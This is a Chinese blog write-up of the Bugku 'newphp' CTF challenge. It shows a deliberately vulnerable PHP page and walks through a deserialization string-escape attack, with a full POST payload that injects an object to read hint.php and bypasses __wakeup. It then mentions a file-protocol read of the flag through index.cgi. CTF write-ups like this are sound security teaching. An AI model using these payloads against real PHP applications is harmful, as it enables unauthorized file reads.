Bugku-newphp

网络安全·CTF · 2023-11-05 · 952 人浏览

一、代码审计

打开靶场,获得以下代码:

// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
 
class evil{
    public $hint;
 
    public function __construct($hint){
        $this->hint = $hint;
    }
 
    public function __destruct(){
    if($this->hint==="hint.php")
            @$this->hint = base64_encode(file_get_contents($this->hint)); 
        var_dump($this->hint);
    }
 
    function __wakeup() { 
        if ($this->hint != "╭(●`∀´●)╯") { 
            //There's a hint in ./hint.php
            $this->hint = "╰(●’◡’●)╮"; 
        } 
    }
}
 
class User
{
    public $username;
    public $password;
 
    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }
 
}
 
function write($data){
    global $tmp;
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    $tmp = $data;
}
 
function read(){
    global $tmp;
    $data = $tmp;
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}
 
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
 
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
    die("NoNoNo!");
 
unserialize(read(write($a))); 

经过代码审计,我们可以知道,我们要构造evil类的反序列化字符串,并将其嵌入username或者password中,构成User类的一部分进行反序列化。我们还需要[[漏洞笔记/PHP/PHP反序列化漏洞#wakeup 绕过|绕过__wakeup()函数]]。

二、构造反序列化

payload:O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
但是直接将这个字符串上传至username中是没有用的,如果我们直接上传,User类对象序列化出来的的字符串为O:4:"User":2:{s:8:"username";s:41:"O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";s:8:"password";s:6:"123456";},在反序列化时也只会被当做字符串的一部分进行解析。

不过我们注意到这里有一个函数会将字符串中的\0\0\0替换为[%00]*[%00]([%00]指代空字符),它将6个字符转换为三个字符,那么我们可以构造一个输入,使得在经过这个转换后,会吞掉一部分字符串,从而构成一个新的反序列化字符串。
构造字符串:
O:4:"User":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:60:"a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}";}
在执行完read()函数之后,username中的\0\0\0变成了[%00]*[%00],使得6个字符变成了3个字符,导致后面的";s:8:"password";s:60:"a被吞入username中,使我们构造的password字段逃逸出来,在最后使用}提前闭合,将多余的";}屏蔽。

那么很明显了,我们的payload为:username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
获得提示在index.cgi中。

cgi文件是种公共网关接口脚步文件,可以执行命令。
我们可以通过get方法向name传参,构造file伪协议,读取根目录的flag文件。

PHP PHP伪协议 PHP反序列化 952 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao